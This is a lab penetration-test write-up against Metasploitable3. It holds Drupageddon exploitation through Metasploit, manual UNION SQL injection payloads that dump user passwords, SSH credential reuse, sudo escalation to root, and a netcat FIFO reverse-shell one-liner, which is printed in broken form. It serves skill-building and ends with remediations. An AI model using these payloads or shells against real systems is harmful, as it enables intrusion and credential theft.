Exploit for SQL Injection in Drupal

**Scope:** Full network penetration test — enumeration, exploitation, privesc, post-exploitation

**Type:** Lab / Capture The Flag Practice

> ⚠️ All credentials below are **redacted**. This was a legal, isolated -lab exercise.

| Nmap | Port scan, service/version detection, OS fingerprint |

| Metasploit (msfconsole) | Exploitation (CVE-2014-3704), session management |

| msfvenom | Payload generation (bash/netcat reverse shells) |

| curl / sed | Manual SQLi crafting + HTML output formatting |

| ssh / scp | Remote access, credential validation |

| openssl s_client | TLS/SSL service verification |

| gobuster | Directory brute-forcing (web enumeration) |

| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |

| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |

| 445/tcp | open | SMB | Samba smbd 3.X–4.X |

| 3306/tcp | open | MySQL | MySQL (unauthorized) |

| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |

| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |

**OS:** Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

| # | Vulnerability | CVE / Type | Port | Severity | Result |

| 1 | UnrealIRCd version fingerprint — backdoor probe | CVE-2010-2075 | 6697 | ⚠️ False positive | Module auto-check passed, manual probe failed — backdoor absent in build |

| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Critical | Meterpreter shell as `www-data` |

| 3 | Payroll app — UNION SQLi (manual) | Manual injection | 80 | 🔴 Critical | Full DB dump (15 users, plaintext passwords — redacted) |

| 4 | SSH — default + reused credentials | Default / credential reuse | 22 | 🔴 Critical | `vagrant` (NOPASSWD sudo), `luke_skywalker` (sudo ALL) |

| 5 | Privilege escalation (two paths) | Misconfigured sudo | N/A | 🔴 Critical | root via both accounts |

| 6 | Shadow dump | Post-exploitation | N/A | 🔴 Critical | 16 md5crypt hashes extracted |

| 7 | Reverse shells (bash + netcat) | msfvenom / manual crafting | 4444/4445 | 🟠 High | Interactive shells caught on attacker listener |

### 1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — False Positive

**Vulnerability:** UnrealIRCd 3.2.8.1 was historically distributed with a trojaned binary that executes arbitrary commands when an unauthenticated client sends a trigger string before registration — RCE as the IRC daemon user.

**Exploitation attempt:** Metasploit module `exploit/unix/irc/unreal_ircd_3281_backdoor` with payloads `cmd/unix/reverse_perl`, `cmd/unix/reverse_netcat`, `cmd/unix/reverse_bash`. Module auto-check reported the service as vulnerable; **no session returned** on any payload.

- Port confirmed plaintext IRC, not TLS (`openssl s_client`)

- Manual reverse connect-back from target confirmed outbound networking works

- Manual backdoor trigger over `nc` returned IRC protocol error `451` — command parsed as IRC command, never executed

**Conclusion:** Version banner indicates the vulnerable build, but the backdoor is absent in this instance (clean/recompiled binary). Classified **non-exploitable — false positive**, with evidence.

### 2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

**Vulnerability:** Drupal 7.x before 7.32 contains a critical SQL injection in the database abstraction layer enabling unauthenticated remote code execution.

**Version confirmation:** `CHANGELOG.txt` → "Drupal 7.5, 2011-07-27"

use exploit/multi/http/drupal_drupageddon

sysinfo → Linux ubuntu 3.13.0-24-generic x86_64

- `/var/www/html`: `chat/`, `drupal/`, `payroll_app.php`, `phpmyadmin/`

### 3. Payroll App — UNION-Based SQL Injection (Manual)

**Vulnerability:** `payroll_app.php` login form, SQL injection in password field. **No automation used** — crafted via `curl`.

`'` closes the SQL string, `or 1=1` forces true, `#` out the trailing quote.

**Step 2 — Column count + display mapping:**

' UNION SELECT null, null, null, null# -- no error = 4 columns

' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary

**Step 3 — information_schema enumeration:**

| DB version / user | MySQL 5.5.62, `root@localhost` |

| Databases | information_schema, drupal, mysql, payroll, performance_schema |

| Columns in `users` | username, first_name, last_name, password, salary |

' UNION SELECT username, password, salary, null FROM users#

### 4. SSH — Default Credentials & Credential Reuse

**Path 1 — Default account:** default `vagrant` credential pair authenticated over SSH → user in `sudo` group with `(ALL : ALL) NOPASSWD: ALL`.

**Path 2 — Credential reuse:** credentials harvested from the SQLi dump authenticated directly over SSH as another lab user (`luke_skywalker`, `sudo` group, `(ALL : ALL) ALL`).

**Significance:** demonstrates cross-service credential reuse — application credentials mapped to a system account.

- **Path A:** `vagrant` → `sudo -l` shows `NOPASSWD: ALL` → `sudo su -` → `uid=0(root)`.

- **Path B:** `luke_skywalker` → sudo `(ALL : ALL) ALL` → `sudo su -` → `uid=0(root)`.

No local exploit required — both accounts hold overly permissive sudo grants.

Extracted 16 `md5crypt ($1$)` hashes — full credential harvesting post-privesc.

### 7. Post-Exploitation — Reverse Shells

Caught on `nc -lnvp 4444` → interactive shell.

mkfifo /tmp/fifo; nc 4445 0/tmp/fifo 2>&1; rm /tmp/fifo

Caught on `nc -lnvp 4445` → interactive shell.

**Mechanism:** named pipe (FIFO) bridges netcat stdin/stdout to `/bin/sh`, forming a single-socket bidirectional tunnel; FIFO cleaned up afterward.

| UnrealIRCd version fingerprint | Verify binary source integrity (checksums); upgrade or remove |

| Drupal 7.5 | Upgrade to latest stable; apply SA-CORE-2014-005 |

| Payroll SQLi | Parameterized queries / prepared statements; validate input |

| Default SSH credentials | Rotate/remove default accounts; enforce key-based auth |

| Sudo over-privilege | Apply least privilege; remove NOPASSWD blanket grants |

| Credential reuse | Enforce unique passwords per service; password policy |

| Weak password hashing | Migrate md5crypt → bcrypt / Argon2id |

All testing was performed exclusively in an isolated lab using intentionally vulnerable software (Rapid7 Metasploitable3). No production systems or unauthorized targets were engaged. This report is for educational purposes and personal skill development only.